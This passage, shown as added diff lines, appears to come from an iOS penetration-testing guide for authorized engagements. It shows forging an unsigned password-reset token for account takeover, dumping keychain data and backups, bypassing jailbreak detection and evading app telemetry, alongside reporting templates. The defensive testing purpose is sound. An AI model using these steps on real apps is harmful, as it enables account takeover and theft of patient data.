|
+
**Step 3 — Analyze token**
|
|
946
|
+
```bash
|
|
947
|
+
# Token observed: dXNlcl9pZD0xMjM0JnRpbWVzdGFtcD0xNzE3MDAwMDAwCg==
|
|
948
|
+
echo "dXNlcl9pZD0xMjM0JnRpbWVzdGFtcD0xNzE3MDAwMDAwCg==" | base64 -d
|
|
949
|
+
# Output: user_id=1234×tamp=1717000000
|
|
950
|
+
```
|
|
951
|
+
|
|
952
|
+
**Step 4 — Forge token for victim**
|
|
953
|
+
```bash
|
|
954
|
+
echo -n "user_id=5678×tamp=1717000000" | base64
|
|
955
|
+
# Output: dXNlcl9pZD01Njc4JnRpbWVzdGFtcD0xNzE3MDAwMDAwCg==
|
|
956
|
+
|
|
957
|
+
# Trigger reset for victim user from device:
|
|
958
|
+
open "shopapp://reset?token=dXNlcl9pZD01Njc4JnRpbWVzdGFtcD0xNzE3MDAwMDAwCg==&email=victim@corp.com"
|
|
959
|
+
```
|
|
960
|
+
|
|
961
|
+
**Step 5 — Account takeover**
|
|
962
|
+
- App accepts forged token, allows password reset for victim account
|
|
963
|
+
- No HMAC signature, no expiry validation, predictable structure
|
|
964
|
+
|
|
965
|
+
**Impact:** Full account takeover of any user by knowing their user ID (enumerable from other API calls).
|
|
966
|
+
|
|
967
|
+
---
|
|
968
|
+
|
|
969
|
+
### Scenario 3 — Keychain Data Exposure After Device Transfer
|
|
970
|
+
|
|
971
|
+
**Target:** Healthcare app storing patient records
|
|
972
|
+
**Objective:** Demonstrate that keychain items are accessible without user authentication on a jailbroken device and survive app deletion
|
|
973
|
+
|
|
974
|
+
**Step 1 — Dump keychain**
|
|
975
|
+
```bash
|
|
976
|
+
objection -g com.healthcare.app explore
|
|
977
|
+
ios keychain dump --json > /tmp/keychain_findings.json
|
|
978
|
+
cat /tmp/keychain_findings.json
|
|
979
|
+
```
|
|
980
|
+
|
|
981
|
+
**Step 2 — Analyze keychain accessibility**
|
|
982
|
+
```json
|
|
983
|
+
{
|
|
984
|
+
"item": "authToken",
|
|
985
|
+
"value": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
|
|
986
|
+
"accessibility": "kSecAttrAccessibleAlways",
|
|
987
|
+
"synchronized": true,
|
|
988
|
+
"account": "patient_user@hospital.com"
|
|
989
|
+
}
|
|
990
|
+
```
|
|
991
|
+
|
|
992
|
+
**Step 3 — Key finding**
|
|
993
|
+
- `kSecAttrAccessibleAlways` — item accessible even when device is locked
|
|
994
|
+
- `synchronized: true` — item synced to iCloud Keychain (leaves device)
|
|
995
|
+
- Token survives app deletion — recoverable from backup or iCloud
|
|
996
|
+
|
|
997
|
+
**Step 4 — iCloud Keychain leak**
|
|
998
|
+
```bash
|
|
999
|
+
# If iCloud backup enabled — keychain items extractable from encrypted backup:
|
|
1000
|
+
# Use iMazing or similar to decrypt backup and extract keychain DB
|
|
1001
|
+
idevicebackup2 backup --full /tmp/backup/
|
|
1002
|
+
# Then use keychain-dumper or KeePassKit to parse backup keychain
|
|
1003
|
+
```
|
|
1004
|
+
|
|
1005
|
+
**Impact:** Patient PHI token accessible from any device logged into same Apple ID, accessible when device locked, persists after app uninstall. Violates HIPAA and MASVS-STORAGE-1.
|
|
1006
|
+
|
|
1007
|
+
---
|
|
1008
|
+
|
|
1009
|
+
## 9. Detection and OPSEC Considerations
|
|
1010
|
+
|
|
1011
|
+
### 9.1 Anti-Jailbreak Detection Mechanisms to Bypass
|
|
1012
|
+
|
|
1013
|
+
Apps may detect testing environment via:
|
|
1014
|
+
|
|
1015
|
+
| Detection Method | Bypass Technique |
|
|
1016
|
+
|---|---|
|
|
1017
|
+
| File existence check (`/Applications/Cydia.app`) | Hook `NSFileManager fileExistsAtPath:` — return NO |
|
|
1018
|
+
| `fork()` / `posix_spawn()` call succeeds | Hook at C level — return -1 |
|
|
1019
|
+
| Sandbox escape test (write to `/`) | Hook `fopen` / `open` — return error |
|
|
1020
|
+
| Dyld shared library check (`MobileSubstrate`) | Hook `_dyld_get_image_name` |
|
|
1021
|
+
| Frida detection via port scan (27042) | Use custom Frida gadget on non-default port |
|
|
1022
|
+
| Frida detection via process name | Rename frida-server binary |
|
|
1023
|
+
| Anti-debug (`ptrace` check) | Hook ptrace — return 0 |
|
|
1024
|
+
| Integrity check on own binary | Hook `CC_MD5` / hash functions |
|
|
1025
|
+
|
|
1026
|
+
```bash
|
|
1027
|
+
# Rename frida-server to evade name detection
|
|
1028
|
+
ssh root@<ip>
|
|
1029
|
+
mv /usr/sbin/frida-server /usr/sbin/fs_daemon
|
|
1030
|
+
/usr/sbin/fs_daemon -D &
|
|
1031
|
+
|
|
1032
|
+
# Connect on default port (still 27042 unless changed)
|
|
1033
|
+
frida -U -f com.target.app
|
|
1034
|
+
```
|
|
1035
|
+
|
|
1036
|
+
### 9.2 OPSEC for Engagement Activities
|
|
1037
|
+
|
|
1038
|
+
- Use a dedicated test iPhone — not personal device
|
|
1039
|
+
- Factory reset device between engagements to avoid cross-contamination
|
|
1040
|
+
- All credentials and tokens captured must be logged and deleted post-engagement
|
|
1041
|
+
- Keychain dumps contain real user data — treat as sensitive evidence
|
|
1042
|
+
- Never upload app binaries to public disassembly services (objection.is, etc.)
|
|
1043
|
+
- Use VPN or isolated network for all testing activity
|
|
1044
|
+
- Document all commands run with timestamps for engagement log
|
|
1045
|
+
|
|
1046
|
+
### 9.3 Detection Artifacts on Device
|
|
1047
|
+
|
|
1048
|
+
Activities that leave forensic traces on device:
|
|
1049
|
+
- SSH auth logs: `/var/log/auth.log`
|
|
1050
|
+
- Frida server creates `/tmp/frida-*` temp files
|
|
1051
|
+
- `objection` writes `.objection/` directory to CWD on workstation
|
|
1052
|
+
- Modified binaries retain patched bytes (check `jtool2 --sig`)
|
|
1053
|
+
- Keychain reads are logged by iOS subsystem (visible in Console.app)
|
|
1054
|
+
|
|
1055
|
+
### 9.4 Avoiding Detection by App-Level Monitoring
|
|
1056
|
+
|
|
1057
|
+
Some apps use runtime integrity monitoring or send telemetry when tampering is detected:
|
|
1058
|
+
|
|
1059
|
+
```bash
|
|
1060
|
+
# Intercept outgoing analytics calls to identify telemetry endpoints
|
|
1061
|
+
frida-trace -U -m "*[Analytics *]" -m "*[Telemetry *]" com.target.app
|
|
1062
|
+
|
|
1063
|
+
# Block telemetry calls if needed
|
|
1064
|
+
# Hook the telemetry class's send method and return early
|
|
1065
|
+
```
|
|
1066
|
+
|
|
1067
|
+
---
|
|
1068
|
+
|
|
1069
|
+
## 10. Output and Documentation
|
|
1070
|
+
|
|
1071
|
+
### 10.1 Evidence Collection Checklist
|
|
1072
|
+
|
|
1073
|
+
```
|
|
1074
|
+
[ ] IPA file (decrypted) — stored securely
|
|
1075
|
+
[ ] class-dump headers directory
|
|
1076
|
+
[ ] Burp Suite project file (.burp) with all captured traffic
|
|
1077
|
+
[ ] Keychain dump JSON
|
|
1078
|
+
[ ] SQLite database files
|
|
1079
|
+
[ ] UserDefaults plist files
|
|
1080
|
+
[ ] Frida trace output logs
|
|
1081
|
+
[ ] Screenshots of UI vulnerabilities
|
|
1082
|
+
[ ] Objection session log
|
|
1083
|
+
[ ] Info.plist copy
|
|
1084
|
+
[ ] Binary protection report (otool/jtool2 output)
|
|
1085
|
+
[ ] Deep link test results
|
|
1086
|
+
[ ] ATS configuration findings
|
|
1087
|
+
```
|
|
1088
|
+
|
|
1089
|
+
### 10.2 Folder Structure for Evidence
|
|
1090
|
+
|
|
1091
|
+
```
|
|
1092
|
+
engagement/
|
|
1093
|
+
target-ios/
|
|
1094
|
+
static/
|
|
1095
|
+
target_decrypted.ipa
|
|
1096
|
+
headers/ # class-dump output
|
|
1097
|
+
strings.txt # extracted strings
|
|
1098
|
+
info_plist.txt # plutil output
|
|
1099
|
+
binary_protections.txt
|
|
1100
|
+
dynamic/
|
|
1101
|
+
keychain_dump.json
|
|
1102
|
+
userdefaults.plist
|
|
1103
|
+
databases/ # SQLite files
|
|
1104
|
+
frida_traces/ # frida-trace logs
|
|
1105
|
+
burp_project.burp # full Burp session
|
|
1106
|
+
screenshots/
|
|
1107
|
+
notes.md
|
|
1108
|
+
```
|
|
1109
|
+
|
|
1110
|
+
### 10.3 OWASP MASVS Mapping
|
|
1111
|
+
|
|
1112
|
+
| Finding | MASVS Control | Severity |
|
|
1113
|
+
|---|---|---|
|
|
1114
|
+
| Hardcoded API key in binary | MASVS-CODE-2 | High |
|
|
1115
|
+
| SSL pinning bypassable | MASVS-NETWORK-2 | High |
|
|
1116
|
+
| Keychain item with kSecAttrAccessibleAlways | MASVS-STORAGE-1 | High |
|
|
1117
|
+
| ATS disabled (NSAllowsArbitraryLoads) | MASVS-NETWORK-1 | High |
|
|
1118
|
+
| Deep link missing token validation | MASVS-PLATFORM-1 | Critical |
|
|
1119
|
+
| Sensitive data in background screenshot | MASVS-STORAGE-9 | Medium |
|
|
1120
|
+
| No jailbreak detection | MASVS-RESILIENCE-1 | Medium |
|
|
1121
|
+
| Sensitive data in UserDefaults | MASVS-STORAGE-2 | Medium |
|
|
1122
|
+
| Debug symbols in release binary | MASVS-CODE-3 | Low |
|
|
1123
|
+
|
|
1124
|
+
### 10.4 Sample Finding Write-Up Template
|
|
1125
|
+
|
|
1126
|
+
```markdown
|
|
1127
|
+
## Finding: SSL Certificate Pinning Bypass
|
|
1128
|
+
|
|
1129
|
+
**Severity:** High
|
|
1130
|
+
**MASVS:** MASVS-NETWORK-2
|
|
1131
|
+
**CVSS:** 7.4 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
|
|
1132
|
+
|
|
1133
|
+
### Description
|
|
1134
|
+
The application implements SSL certificate pinning using TrustKit, however
|
|
1135
|
+
the pinning implementation can be bypassed using Frida instrumentation
|
|
1136
|
+
on a jailbroken device. Once bypassed, all HTTPS traffic is visible to
|
|
1137
|
+
an attacker with a MITM position on the network.
|
|
1138
|
+
|
|
1139
|
+
### Steps to Reproduce
|
|
1140
|
+
1. Install Frida on jailbroken device
|
|
1141
|
+
2. Run bypass script: `frida -U -l trustkit_bypass.js com.target.app`
|
|
1142
|
+
3. Configure Burp Suite as proxy on device
|
|
1143
|
+
4. Observe all HTTPS traffic in Burp including authentication tokens
|
|
1144
|
+
|
|
1145
|
+
### Evidence
|
|
1146
|
+
- [Screenshot: Burp capture of POST /api/auth/login with credentials]
|
|
1147
|
+
- [Log: Frida output confirming TrustKit hook applied]
|
|
1148
|
+
|
|
1149
|
+
### Impact
|
|
1150
|
+
An attacker who can position themselves on the same network as the victim
|
|
1151
|
+
can intercept credentials, session tokens, and sensitive PII transmitted
|
|
1152
|
+
by the application.
|
|
1153
|
+
|
|
1154
|
+
### Recommendation
|
|
1155
|
+
Implement pinning at the network layer using multiple certificates,
|
|
1156
|
+
add runtime integrity checks to detect Frida/instrumentation,
|
|
1157
|
+
consider using network-level VPN pinning for highest assurance.
|
|
1158
|
+
```
|
|
1159
|
+
|
|
1160
|
+
---
|
|
1161
|
+
|
|
1162
|
+
## 11. Resources and GitHub URLs
|
|
1163
|
+
|
|
1164
|
+
### Core Tools
|
|
1165
|
+
|
|
1166
|
+
| Tool | URL | Purpose |
|
|
1167
|
+
|---|---|---|
|
|
1168
|
+
| Frida | https://github.com/frida/frida | Dynamic instrumentation framework |
|
|
1169
|
+
| Objection | https://github.com/sensepost/objection | Runtime mobile exploration |
|
|
1170
|
+
| frida-ios-dump | https://github.com/AloneMonkey/frida-ios-dump | IPA decryption and extraction |
|
|
1171
|
+
| class-dump | https://github.com/nygard/class-dump | ObjC header extraction |
|
|
1172
|
+
| jtool2 | http://www.newosxbook.com/tools/jtool.html | Mach-O analysis |
|
|
1173
|
+
| idb | https://github.com/facebook/idb | iOS debugging bridge |
|
|
1174
|
+
| Keychain-Dumper | https://github.com/ptoomey3/Keychain-Dumper | Keychain extraction |
|
|
1175
|
+
| Fridump | https://github.com/Nightbringer21/fridump | Memory dumping via Frida |
|
|
1176
|
+
| SSL Kill Switch 2 | https://github.com/nabla-c0d3/ssl-kill-switch2 | SSL pinning bypass tweak |
|
|
1177
|
+
| palera1n | https://github.com/palera1n/palera1n | iOS 15/16 jailbreak |
|
|
1178
|
+
| checkra1n | https://checkra.in | iOS 12–14 jailbreak |
|
|
1179
|
+
|
|
1180
|
+
### Frida Scripts and Codeshare
|
|
1181
|
+
|
|
1182
|
+
| Script | URL | Purpose |
|
|
1183
|
+
|---|---|---|
|
|
1184
|
+
| iOS SSL Kill Switch | https://codeshare.frida.re/@akabe1/frida-ios-ssl-kill-switch/ | SSL bypass |
|
|
1185
|
+
| iOS Jailbreak Bypass | https://codeshare.frida.re/@liangxiaoyi1024/ios-jailbreak-detection-bypass/ | JB bypass |
|
|
1186
|
+
| iOS Biometric Bypass | https://codeshare.frida.re/@dki/ios-touch-id-bypass/ | TouchID/FaceID bypass |
|
|
1187
|
+
| Frida CodeShare | https://codeshare.frida.re/ | Community scripts library |
|
|
1188
|
+
|
|
1189
|
+
### Reference Standards
|
|
1190
|
+
|
|
1191
|
+
| Resource | URL |
|
|
1192
|
+
|---|---|
|
|
1193
|
+
| OWASP MASVS | https://github.com/OWASP/owasp-masvs |
|
|
1194
|
+
| OWASP MSTG | https://github.com/OWASP/owasp-mstg |
|
|
1195
|
+
| OWASP Mobile Top 10 | https://owasp.org/www-project-mobile-top-10/ |
|
|
1196
|
+
| Apple Security Guide | https://support.apple.com/guide/security/welcome/web |
|
|
1197
|
+
| Keychain Services | https://developer.apple.com/documentation/security/keychain_services |
|
|
1198
|
+
| ATS Reference | https://developer.apple.com/documentation/bundleresources/information_property_list/nsapptransportsecurity |
|
|
1199
|
+
|
|
1200
|
+
### Additional Reading
|
|
1201
|
+
|
|
1202
|
+
| Resource | URL |
|
|
1203
|
+
|---|---|
|
|
1204
|
+
| HackTricks iOS | https://book.hacktricks.xyz/mobile-pentesting/ios-pentesting |
|
|
1205
|
+
| iOS Pentest Guide | https://github.com/ansjdnakjdnajkd/iOS |
|
|
1206
|
+
| Damn Vulnerable iOS App | https://github.com/prateek147/DVIA-v2 |
|
|
1207
|
+
| iGoat-Swift | https://github.com/OWASP/iGoat-Swift |
|
|
1208
|
+
| grapefruit (iOS RE GUI) | https://github.com/chichou/grapefruit |
|
|
1209
|
+
| bfinject (IPA injection) | https://github.com/BishopFox/bfinject |
|
|
1210
|
+
| r2frida | https://github.com/nowsecure/r2frida |
|
|
1211
|
+
|
|
1212
|
+
---
|
|
1213
|
+
|
|
1214
|
+
*Skill maintained for use on authorized engagements only. All techniques require written authorization. Handle extracted credentials and PII per engagement data handling policy.*
|